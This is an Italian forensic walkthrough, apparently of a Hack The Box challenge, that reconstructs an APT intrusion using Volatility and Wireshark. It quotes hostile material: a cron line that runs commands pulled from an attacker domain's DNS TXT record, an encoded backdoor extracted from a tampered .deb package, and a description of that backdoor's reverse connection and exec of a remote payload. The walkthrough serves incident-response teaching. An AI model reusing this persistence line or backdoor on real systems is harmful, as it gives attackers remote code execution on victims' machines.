Una compromissione informatica può trasformarsi in un vero e proprio incubo digitale. Un APTNightmare, che riassume alla perfezione quello che un’azienda vive quando diventa bersaglio di un gruppo di cyber criminali determinati: un’escalation di eventi che sconvolge infrastrutture, processi e reputazione.

Per esplorare il cuore di questo incubo digitale, vedremo come un’organizzazione può cadere nel baratro e analizzeremo, passo dopo passo, il percorso che conduce da un sistema perfettamente funzionante a un’infrastruttura compromessa, in cui nulla è più come prima.

In poche parole, scopriremo come risolvere un grave incidente informatico.

Incident response: come risolvere un attacco informatico passo-passo

Le aziende che hanno subito un attacco informatico sanno bene che, in pochi minuti, i sistemi iniziano a mostrare anomalie, i client segnalano problemi di sicurezza, le mailbox si riempiono di mail sospette.

Quello che era un sistema funzionante d’un tratto si è trasformato in una infrastruttura compromessa e tutte le informazioni, che rappresentano il cuore pulsante dell’azienda, sono bloccate e inaccessibili.

Continuiamo, dunque, ad approfondire le fasi di un APTNightmare per comprendere come un’organizzazione può passare dall’essere perfettamente operativa al ritrovarsi con i server compromessi, le credenziali esposte e addirittura il proprio software legittimo trasformato in un veicolo di malware per i clienti.

Per ogni fase dell’attacco è presente anche un blue box difensivo per offrire al lettore non solo una guida tecnica e forense per comprendere l’analisi di un incidente, ma anche spunti pratici di difesa, utili a rafforzare la postura di sicurezza in ambienti reali. Ogni sezione, quindi, non si limita a mostrare “come è avvenuto l’attacco”, ma propone strategie concrete per prevenirlo o mitigarne gli effetti.

Volatility, il tool per l’analisi della memoria

Dopo aver ottenuto una shell sul server come utente (probabilmente utente web standard, con privilegi limitati), l’attaccante quasi certamente avrà cercato di ottenere i privilegi di root sulla macchina. Questo passaggio è chiamato privilege escalation (escalation di privilegi).

Ma quale Vulnerabilità l’attaccante ha utilizzato per ottenere tali permessi?

Per rispondere a questa domanda abbiamo due strade: la prima è continuare ad analizzare il file .pcap, la seconda è analizzare l’immagine della macchina compromessa (Ubuntu_5.3.0-70-generic_profile.zip ) attraverso il tool Volatility.

Volatility è uno strumento utilizzato nella Digital Forensics che permette di analizzare il contenuto della memoria RAM di un computer partendo da un dump, cioè da una copia della memoria effettuata durante un incidente informatico o un’attività investigativa.

Possiamo immaginare la memoria RAM come una fotografia precisa dello stato del sistema in un determinato istante: Volatility consente di esplorare questo “snapshot” per capire quali programmi erano in esecuzione, quali file erano aperti, o se c’erano connessioni sospette verso l’esterno.

NOTA: per effettuare l’analisi della memoria, utilizzeremo Volatility. Anche se la versione 3 è in linea di massima preferibile grazie alle sue funzionalità aggiornate, presenta alcune limitazioni nella gestione dei dump di memoria su sistemi Linux. Utilizzeremo quindi la versione precedente.

Come prima cosa dobbiamo procedere con l’installazione del Tool Volatility.

1. Cloniamo, quindi, il repository da GitHub:

git clone https://github.com/volatilityfoundation/volatility

• Spostiamoci nella directory del tool e procediamo con l’installazione

cd volatility
sudo python2.7 setup.py install

• A questo punto avrete un’altra cartella di Volatility dove è presente l’installazione, risaliamo quindi ancora di una cartella e copiamo il file all’interno dei plugins del tool.

cd volatility

sudo cp /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Ubuntu_5.3.0-70-generic_profile.zip  plugins/overlays/

• Verifichiamo quindi che tutto funzioni correttamente tramite il comando

python2.7 vol.py –info | grep -i Ubuntu

Lanciamo, infine, il tool sull’immagine della macchina coinvolta nell’Incident.

python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_bash

La privilege escalation per prendere il controllo della macchina

Analizziamo il comando di volatility che abbiamo appena utilizzato:

python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_bash

• python2.7 vol.py
  Avvia Volatility usando Python 2.7.
• –profile=LinuxUbuntu_5_3_0-70-generic_profilex64
  Specifica il profilo del sistema da cui è stato acquisito il dump della memoria. In questo caso si tratta di un sistema Ubuntu con kernel versione 5.3.0-70 su architettura a 64 bit. Il profilo contiene informazioni sul layout della memoria, essenziali per interpretare correttamente il dump.
• -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem
  Indica il percorso del file dump della memoria, che qui rappresenta la memoria del server web compromesso.
• linux_bash
  È il plugin di Volatility che estrae dalla memoria la cronologia dei comandi eseguiti nella shell Bash. Questo plugin scansiona il dump per individuare le informazioni relative allo storico della shell (comandi digitati, eventualmente con timestamp).

Balza immediatamente all’attenzione l’utilizzo dello script Pwnkit.

PwnKit è un exploit che prende di mira una vulnerabilità presente nel comando Linux chiamato pkexec, parte integrante di Polkit.

pkexec normalmente consente agli utenti di eseguire specifici comandi con permessi elevati, in maniera analoga a “sudo”. A causa di una gestione non corretta dei dati in input, pkexec può essere sfruttato per eseguire comandi arbitrari con i permessi dell’utente root.

Questa vulnerabilità è nota come CVE-2021-4034, esattamente la vulnerabilità che l’attaccante ha utilizzato per il priviledge escalation.

Così l’attaccante si assicura la persistenza nel sistema compromesso

Adesso che l’attaccante ha stabilito un foothold sull’infrastruttura deve assicurarsi di mantenere la persistenza all’interno.

Torniamo ad esaminare il nostro pcap. Abbiamo già stabilito che la connessione alla macchina dell’attaccante è avvenuta tramite la porta 5555. Proviamo quindi a filtrare il traffico della porta 5555 ed entriamo nel merito del flusso TCP.

tcp.port==5555

Troviamo infatti tutti i comandi che l’attaccante ha eseguito sulla macchina, una volta stabilita la connessione attraverso la Reverse Shell.

Troviamo difatti l’ulteriore conferma che l’attaccante ha sfruttato la CVE-2021-4034

Ciò che successivamente notiamo è che dopo essere diventato root, l’attaccante modifica qualcosa legato a cron. In particolare, Questa tecnica sfrutta il sistema di cron per eseguire periodicamente un comando malevolo, e al centro di questo processo c’è l’uso del comando dig. Vediamo nel dettaglio come funziona in maniera discorsiva:

* * * * * /bin/bash -c “bash -c $(dig linuxupdate.cd TXT +short @ns.linuxupdate.cd)”

Il file di crontab è stato modificato per includere una riga che esegue ogni minuto un comando. L’elemento cruciale di questo comando è la parte che usa dig:

In pratica, ogni minuto il sistema lancia un processo bash che, grazie all’espansione dei comandi (il meccanismo $( … )), esegue ciò che restituisce la chiamata a dig. Con il comando dig linuxupdate.cd TXT +short @ns.linuxupdate.cd il sistema effettua una query DNS per richiedere un record TXT al server specificato. In questo contesto, l’attaccante controlla il dominio linuxupdate.cd e il relativo server DNS, e può modificare dinamicamente il contenuto del record TXT.

Ciò significa che l’attaccante può “iniettare” comandi da eseguire sul sistema compromesso semplicemente aggiornando il record TXT del suo dominio.

Secondo MITRE ATT&CK, l’uso di attività pianificate (scheduled tasks) per mantenere l’accesso ricade nella categoria Persistence. Più precisamente, *l’abuso di cron job è catalogato come tecnica T1053.003 – Scheduled Task/Job: Cron.

Questo è l’ID specifico per l’uso di cron come meccanismo di persistenza. (La sintassi generale è T1053 per Scheduled Task/Job, e .003 indica l’abuso di cron).

L’attacco alla supply chain

Continuando ad analizzare il flusso delle operazioni dell’attaccante, notiamo che entra nella folder /sites-available:

cd sites-available

e legge il file:

cat 000-default.conf

al cui interno compaiono i vari Virtual Host:

<VirtualHost *:80>

Fra questi VirtualHosts ne esiste uno chiamato download.cs-corp.cd

Che punta ad una directory interna /var/www/html/download.

Il sottodominio download.cs-corp.cd probabilmente ospitava software o aggiornamenti da scaricare per i clienti. L’attaccante, avendo il controllo del server, ha alterato questi file (sostituendoli con versioni malevole).

Questo tipo di attacco è noto come supply-chain compromise – compromissione della catena di fornitura software – perché l’attaccante infetta non direttamente le vittime finali, ma il software legittimo che esse scaricano dall’azienda, trasformandolo in veicolo d’infezione.

Nella matrice MITRE ATT&CK, la Compromissione della catena di distribuzione software è codificata come tecnica T1195.002 – Supply Chain Compromise: Compromise Software Supply Chain.

L’attaccante ottiene la persistenza all’interno della supply chain

Quindi sappiamo che l’attaccante ha sostituito del software lecito con uno malevolo.

Proviamo ad analizzare adesso quale manipolazione è stata fatta per injectare il meccanismo di persistenza, probabilmente uno script o comando eseguito nel momento dell’installazione: una backdoor.

Per prima cosa dobbiamo filtrare le richieste in WireShark al fine di scaricare il pacchetto: cs-linux.deb

Filtriamo il traffico isolando quello che coinvolge il pacchetto da analizzare:

http.request.uri contains “cs-linux.deb”

Clicchiamo su:

File > Export Objects > HTTP

Nel menù di ricercar su “Text Filter”, filtriamo per il nome del file, e poi clicchiamo su “Save” per scaricarlo.

Cerchiamo prima di tutto di capire che cosa è questo file, utilizzando il comando file.

file cs-linux.deb

I pacchetti .deb sono dei file di archivio compressi che contengono tutto il necessario per installare un’applicazione o un software su sistemi Linux basati su Debian (come Debian stesso, Ubuntu, Linux Mint, ecc.). In pratica, ogni pacchetto .deb include i file binari precompilati, le librerie, i file di configurazione e gli script di installazione necessari, insieme a metadati (informazioni sulla versione, dipendenze, ecc.).

Questi pacchetti vengono gestiti da strumenti come dpkg e apt, che facilitano l’installazione, l’aggiornamento e la rimozione dei software, mantenendo anche il controllo sulle dipendenze tra le diverse applicazioni.

Visualizziamo adesso il contenuto di questo pacchetto:

dpkg –c cs-linux.deb

Estraiamone il contenuto, mediante il comando:

dpkg-deb –x cs-linux.deb ./cs-linux.deb-estratto

Visualizziamo il contenuto del file tramite cat:

cat cs-linux.deb-estratto/usr/bin/cs-linux

Decodifichiamo il codice in base64 ridirigendo l’output, su di un file che chiameremo cs-decoded:

echo “eJw9UN9LwzAQfl7+irCHNcEsrqMbOmxBxAcRGTjfRKRNT1uaJiWXaqfo325Dh/dwx3f33Xc/6razzlO0qgEvvnRdiCJH2CYCveuVF75uQVgkxKLEI3po2RxUZanCpa5NP9DFgmYZ/T2XY2Pl1JyTN+voQGtDXW7egcUrviMz746jn2E6zZJTYGtxwof9zf3r4enx9vqBB55U1hhQnrEovlzLeHshY7mJRDIaD4zCQd6QGQwKOh+kw6oSNUDHNpzodLpA9qbLVcOi7C4SKB2oDzYKPK9eSJmesObks6o1UA2GlfxKj3Ll2X91OaU5gQEUC0+SJSjbdg4Q2fQvWWyTkCwhMMV3hNEOfzj5Axx7baM=” | base64 -d > cs-decoded

Che risulta essere con file compresso zlib.

A questo punto leggiamone il contenuto utilizziamo Python per leggere i dati dal file “s-decoded”: decomprimendoli usando il modulo zlib e successivamente scrivendo l’output nel file “output_file”.

python3 -c “import sys, zlib; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))” < cs-decoded > output_file

cat output_file

Abbiamo la backdoor Vediamo quindi come funziona.

Inizialmente, esegue il comando:

os.system(“echo cs-linux && >> ~/.bashrc”)

in modo da aggiungere la stringa “cs-linux” al file di configurazione .bashrc. Così, ogni volta che viene aperta una nuova sessione bash, il comando viene eseguito automaticamente, garantendo la persistenza della backdoor.

Connessione al server dell’attaccante: la backdoor tenta di stabilire una connessione TCP con l’IP 192.168.1.5 sulla porta 4444. Se la connessione fallisce, aspetta 5 secondi e riprova, fino a un massimo di 10 tentativi. In questo modo, il sistema resta in attesa e continua a cercare un canale per comunicare col server remoto.

Ricezione e preparazione del payload: una volta stabilita la connessione, il programma riceve inizialmente 4 byte che, grazie a struct.unpack, indicano la lunghezza del payload da ricevere. Successivamente, scarica l’intero payload, assicurandosi di ricevere tutti i byte.

Esecuzione del codice remoto:

Il payload ricevuto è codificato in Base64 e compresso con zlib. Il comando:

exec(zlib.decompress(base64.b64decode(d)), {‘s’: s})

decodifica e decomprime il payload, ed infine lo esegue. Questo permette all’attaccante di inviare codice arbitrario al sistema compromesso, espandendo o modificando le funzionalità della backdoor.

L’attacco al Mail Server

Dopo essersi assicurato la permanenza sulla macchina e con la supply chain compromessa, l’attaccante adesso può puntare a riscuote il bottino.

Utilizziamo ancora una volta il tool volatility, stessa sintassi vista in precedenza ma richiamando un plugin diverso linux_pslist:

python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_pslist

Uno dei primi interrogativi quando si analizza un dump in memoria è: “Quali programmi erano in esecuzione su questa macchina al momento della cattura?”.

Il plugin linux_pslist serve esattamente a rispondere a questa domanda.

È come se avessimo fotografato il “Task Manager” nel preciso istante dell’incidente.

linux_pslist scorre le strutture interne del kernel (le famose task_struct) e ricostruisce la lista completa dei processi che erano vivi in quel momento.

Il risultato è molto simile a ciò che vedresti con il comando ps se potessi ancora digitare sulla macchina, solo che ora lo ottieni a posteriori, da un’immagine di memoria.

Uno dei processi “vivi” in memoria era difatti citserver

citserver è il demone principale di Citadel, una suite open-source che integra server di posta (SMTP, IMAP, POP3) e funzioni groupware (agenda, contatti, chat, ecc.). Difatti l’attaccante, dopo aver preso il controllo del server, ha trovato citserver già in esecuzione: significa che quella macchina fungeva anche da mail-server aziendale.

L’attaccante sferra l’attacco di phishing

Quindi l’attaccante potrebbe aver sfruttato questa macchina per inviare una mail di phishing nel tentativo di ingannare la/le vittime. Addentriamoci quindi nel processo di citserver.

Sappiamo dall’analisi precedente che i PID del processo sono 542 e 545, quindi ancora una volta il tool volatility ci viene in aiuto, tramite il plugin linux_lsoft.

Il Plugin serve ad ottenere l’elenco completo di tutto ciò che ogni processo ha “in mano” in quel momento: file su disco, socket di rete, pipe, device, librerie e via dicendo.

Quindi utilizziamolo per analizzare i due processi nel dettaglio:

python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_lsof –p 542

python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_lsof –p 545

Il processo di citserver con il PID 545 stava utilizzando vari file e processi, fra cui un file di log : /var/lib/citadel/data/log.0000000001

Analizziamo quindi il file di log del server una volta estratto, per estrarlo utilizziamo un altro plugin linux_find_file. Il plugin percorre le strutture del file-system in RAM (inode, dentry, page cache) e, se il file è ancora presente in cache, ne recupera i contenuti anche se sul disco fosse stato cancellato o sovrascritto.

Individuiamo prima la locazione di memoria dove il file è presente:

python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_find_file -F /var/lib/citadel/data/log.0000000001

successivamente estrapoliamo il file utilizzando il seguente comando:

python2.7 vol.py –profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_find_file –i 0xffff9fa43f20d628 -O log.0000000001

il plugin rimane invariato, cambiano le opzioni:

• il parametro -i: Indica l’inode address (il puntatore in memoria alla struttura inode) del file che vogliamo estrarre. Questo valore lo abbiamo ottenuto in precedenza, eseguendo linux_find_file -F /var/lib/citadel/data/log.0000000001, che ci ha mostrato dove risiede quell’inode in RAM.
• il parametro -O: indica il file di output dove vogliamo scrivere il contenuto.

Analizzando il contenuto del file appena salvato, tramite comando cat, possiamo leggedere diversi messeggi. Fra questi ne esiste uno diretto al CEO dove gli viene chiesto di revisionare il documento delle policy in allegato.

Il Soggetto della mail è: Review Revised Privacy Policy con in allegato un documento contente delle macro policy.docm: la nostra mail di phishing.

Individuiamo le vittime del phishing

Continuiamo la nostra analisi e verifichiamo chi ha ricevuto la mail con l’allegato malevolo, utilizzando il seguente comando:

strings –a log.0000000001 | grep -Eo ‘[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}’ | sort –fu

dove:

• strings -a log.0000000001 : Estrae tutte le stringhe stampabili dal file (opzione -a = “scan tutto il file”).
• grep -Eo ‘…regex…’      -E usa le espressioni regolari estese; -o fa stampare solo la parte di testo che corrisponde alla regex.
• La regex cattura qualunque sequenza “[email protected]” abbastanza generica.
• sort -fu: Ordina (sort) l’elenco e con -f ignora il caso (A = a), con -u elimina i duplicati.

Pare che la mail sia stata inviata al ceo-us

La desinenza “us” ci fa pensare che possano esistere più indirizzi del “ceo”, a seconda delle country. Quindi eseguiamo un semplice grep sul “ceo”, all’interno dei file di log. La nostra ipotesi si rivela corretta, esiste un altro indirizzo del ceo, con la desinenza “ru”.